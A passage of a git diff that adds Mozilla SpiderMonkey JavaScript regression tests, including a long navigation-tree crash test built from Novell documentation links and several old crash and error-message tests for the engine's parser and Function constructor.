+ var navElement = navigationLink("P ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx24.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Q ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx25.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("R ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx26.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("S ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx27.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("T ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx28.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("U ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx29.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("V through Z ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx30.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Index of ASN.1 IDs ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx31.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("0 ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx32.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("1 ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx33.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("2 through 2.4 ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx34.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("2.5 through 2.9 ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx35.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Index of LDAP Names ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx36.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("A through B ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx37.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("C ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx38.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("D ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx39.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("E through F ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx40.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("G ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx41.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("H ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx42.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("I through K ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx43.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("L ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx44.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("M ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx45.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("N ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx46.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("O ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx47.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("P ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx48.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Q through R ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx49.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("S ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx50.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("T ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx51.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("U through Z ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx52.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Revision History ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a5i29ah.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("NDS Iterator Services ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/hnv8aaj7.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Concepts ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/hj3udfo7.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Iterator Objects ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/hwiuqovp.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Creation of an Iterator Object ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/hrb7xece.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Iterator Indexes ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/hqngpqag.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Positions of an Iterator Object ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/h25zhm0d.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Current Position Movement with Retrieval Functions ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/hn9jdbnd.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Retrieval of Data ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/hy7j1t07.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Tasks ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/huypg52u.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Creating a Search Iterator Object ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/hcyx2utx.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Retrieving and Unpacking Object and Attribute Name Data ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/h9evr0ru.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Retrieving and Unpacking Object, Attribute, and Value Data ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/htq89y7t.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Functions ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/h7qwv271.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSItrAtEOF ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/sdk29.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSItrAtFirst ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/sdk36.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSItrClone ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/sdk43.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSItrCount ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/sdk50.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSItrCreateList ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/sdk57.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSItrCreateSearch ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/sdk64.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSItrDestroy ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/sdk71.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSItrGetCurrent ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/sdk77.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSItrGetInfo ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/sdk84.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSItrGetNext ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/sdk91.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSItrGetPosition ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/sdk98.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSItrGetPrev ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/sdk105.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSItrSetPosition ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/sdk112.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSItrSetPositionFromIterator ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/sdk119.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSItrSkip ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/sdk126.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSItrTypeDown ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/sdk133.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("NDS Iterator Example Code ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/hw9m9u6o.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Cloning an Iterator Object: Example ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/hur66hmi.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Counting with NDS Iterators: Example ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/hgllfzfg.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Creating and Using a List Iterator: Example ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/hfnbz1tw.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Creating a Search Iterator and Displaying the Results: Example ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/hhe6xegc.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Getting Iterator Information: Example ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/hfg59w8k.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Getting and Setting the Iterator's Position: Example ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/hh03dp06.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Listing in Reverse Order: Example ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/hsj5zfs1.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Positioning the Iterator with Typedown: Example ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/hqvieqdk.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Skipping Objects in the List: Example ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/ho81tg5d.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Revision History ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/a5i29ah.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ if (currentLevel > 1) currentLevel--
+
+ reportCompare('No Crash', 'No Crash', '');
diff --git a/js/src/tests/non262/regress/regress-114491.js b/js/src/tests/non262/regress/regress-114491.js
new file mode 100644
index 0000000000..097221a45d
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-114491.js
@@ -0,0 +1,69 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 10 December 2001
+ * SUMMARY: Regression test for bug 114491
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=114491
+ *
+ * Rhino crashed on this code. It should produce a syntax error, not a crash.
+ * Using the () operator after a function STATEMENT is incorrect syntax.
+ * Rhino correctly caught the error when there was no |if (true)|.
+ * With the |if (true)|, however, Rhino crashed -
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 114491;
+var summary = 'Regression test for bug 114491';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+status = inSection(1);
+actual = 'Program execution did NOT fall into catch-block';
+expect = 'Program execution fell into into catch-block';
+try
+{
+ var sEval = 'if (true) function f(){}()';
+ eval(sEval);
+}
+catch(e)
+{
+ actual = expect;
+}
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-114493.js b/js/src/tests/non262/regress/regress-114493.js
new file mode 100644
index 0000000000..3a6089d7d9
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-114493.js
@@ -0,0 +1,77 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 10 December 2001
+ * SUMMARY: Regression test for bug 114493
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=114493
+ *
+ * Rhino crashed on this code. It should produce a syntax error, not a crash.
+ * Note that "3"[5] === undefined, and Rhino correctly gave an error if you
+ * tried to use the call operator on |undefined|:
+ *
+ * js> undefined();
+ * js: TypeError: undefined is not a function.
+ *
+ * However, Rhino CRASHED if you tried to do "3"[5]().
+ *
+ * Rhino would NOT crash if you tried "3"[0]() or "3"[5]. Only array indices
+ * that were out of bounds, followed by the call operator, would crash.
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 114493;
+var summary = 'Regression test for bug 114493';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var sEval = '';
+
+
+status = inSection(1);
+actual = 'Program execution did NOT fall into catch-block';
+expect = 'Program execution fell into into catch-block';
+try
+{
+ sEval = '"3"[5]()';
+ eval(sEval);
+}
+catch(e)
+{
+ actual = expect;
+}
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-116228.js b/js/src/tests/non262/regress/regress-116228.js
new file mode 100644
index 0000000000..7556d43336
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-116228.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 116228;
+var summary = 'Do not crash - JSOP_THIS should null obj register';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var obj = {};
+obj.toString = function() {return this();}
+ try
+ {
+ obj.toString();
+ }
+ catch(e)
+ {
+ }
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-118849.js b/js/src/tests/non262/regress/regress-118849.js
new file mode 100644
index 0000000000..52a03bc028
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-118849.js
@@ -0,0 +1,149 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 08 Jan 2002
+ * SUMMARY: Just testing that we don't crash on this code
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=118849
+ *
+ * http://developer.netscape.com:80/docs/manuals/js/core/jsref/function.htm
+ * The Function constructor:
+ * Function ([arg1[, arg2[, ... argN]],] functionBody)
+ *
+ * Parameters
+ * arg1, arg2, ... argN
+ * (Optional) Names to be used by the function as formal argument names.
+ * Each must be a string that corresponds to a valid JavaScript identifier.
+ *
+ * functionBody
+ * A string containing JS statements comprising the function definition.
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 118849;
+var summary = 'Should not crash if we provide Function() with bad arguments'
+ var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var cnFAIL_1 = 'LEGAL call to Function() caused an ERROR!!!';
+var cnFAIL_2 = 'ILLEGAL call to Function() FAILED to cause an error';
+var cnSTRING = 'ASDF';
+var cnNUMBER = 123;
+
+
+/***********************************************************/
+/**** THESE ARE LEGITMATE CALLS AND SHOULD ALL SUCCEED ***/
+/***********************************************************/
+status = inSection(1);
+actual = cnFAIL_1; // initialize to failure
+try
+{
+ Function(cnSTRING);
+ Function(cnNUMBER); // cnNUMBER is a valid functionBody
+ Function(cnSTRING,cnSTRING);
+ Function(cnSTRING,cnNUMBER);
+ Function(cnSTRING,cnSTRING,cnNUMBER);
+
+ new Function(cnSTRING);
+ new Function(cnNUMBER);
+ new Function(cnSTRING,cnSTRING);
+ new Function(cnSTRING,cnNUMBER);
+ new Function(cnSTRING,cnSTRING,cnNUMBER);
+
+ actual = expect;
+}
+catch(e)
+{
+}
+addThis();
+
+
+
+/**********************************************************/
+/*** EACH CASE THAT FOLLOWS SHOULD TRIGGER AN ERROR ***/
+/*** (BUT NOT A CRASH) ***/
+/*** NOTE WE NOW USE cnFAIL_2 INSTEAD OF cnFAIL_1 ***/
+/**********************************************************/
+status = inSection(2);
+actual = cnFAIL_2;
+try
+{
+ Function(cnNUMBER,cnNUMBER); // cnNUMBER is an invalid JS identifier name
+}
+catch(e)
+{
+ actual = expect;
+}
+addThis();
+
+
+status = inSection(3);
+actual = cnFAIL_2;
+try
+{
+ Function(cnNUMBER,cnSTRING,cnSTRING);
+}
+catch(e)
+{
+ actual = expect;
+}
+addThis();
+
+
+status = inSection(4);
+actual = cnFAIL_2;
+try
+{
+ new Function(cnNUMBER,cnNUMBER);
+}
+catch(e)
+{
+ actual = expect;
+}
+addThis();
+
+
+status = inSection(5);
+actual = cnFAIL_2;
+try
+{
+ new Function(cnNUMBER,cnSTRING,cnSTRING);
+}
+catch(e)
+{
+ actual = expect;
+}
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-131510-001.js b/js/src/tests/non262/regress/regress-131510-001.js
new file mode 100644
index 0000000000..bf4d605b41
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-131510-001.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 16 Mar 2002
+ * SUMMARY: Shouldn't crash if define |var arguments| inside a function
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=131510
+ *
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 131510;
+var summary = "Shouldn't crash if define |var arguments| inside a function";
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+
+function f() {var arguments;}
+f();
+
+
+/*
+ * Put same example in function scope instead of global scope
+ */
+function g() { function f() {var arguments;}; f();};
+g();
+
+
+/*
+ * Put these examples in eval scope
+ */
+var s = 'function f() {var arguments;}; f();';
+eval(s);
+
+s = 'function g() { function f() {var arguments;}; f();}; g();';
+eval(s);
+
+reportCompare('No Crash', 'No Crash', '');
diff --git a/js/src/tests/non262/regress/regress-1383630.js b/js/src/tests/non262/regress/regress-1383630.js
new file mode 100644
index 0000000000..8ce3074af3
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-1383630.js
@@ -0,0 +1,827 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/* These tests are not checking whether an exception is thrown or not for
+ * proxies: those tests should already exist in js/src/tests/non262/Proxy .
+ * We expect TypeErrors to be thrown in these tests, with a stringification
+ * of the error message showing whatever property name the error is being
+ * reported for.
+ *
+ * Beyond the presence of the property name, these tests do not care about the
+ * contents of the message.
+ *
+ * The reason for requiring the property name is simple: with ECMAScript
+ * proxies, it can be really hard to figure out what little assertion causes a
+ * TypeError in the first place.
+ */
+"use strict";
+
+function assertThrowsTypeErrorIncludes(f, propStr, details) {
+ var fullmsg;
+ try {
+ f();
+ }
+ catch (exc) {
+ if (!(exc instanceof TypeError))
+ fullmsg =
+ "Assertion failed: expected TypeError, got " + exc;
+ else if (!exc.message.includes(propStr))
+ fullmsg =
+ `Assertion failed: expected TypeError message '${exc.message}' to include '${propStr}'`;
+ else if (details && !exc.message.includes(details))
+ fullmsg =
+ `Assertion failed: expected TypeError message '${exc.message}' to include '${details}'`;
+ else
+ return;
+ }
+
+ if (fullmsg === undefined) {
+ fullmsg =
+ "Assertion failed: expected TypeError, no exception thrown";
+ }
+
+ throw new Error(fullmsg);
+}
+
+const STR = "one", STR_NAME = `"one"`;
+const SYM = Symbol("two"), SYM_NAME = `'Symbol("two")'`;
+
+function errorHasPropertyTests(test) {
+ assertThrowsTypeErrorIncludes(() => test(STR), STR_NAME);
+ assertThrowsTypeErrorIncludes(() => test(SYM), SYM_NAME);
+}
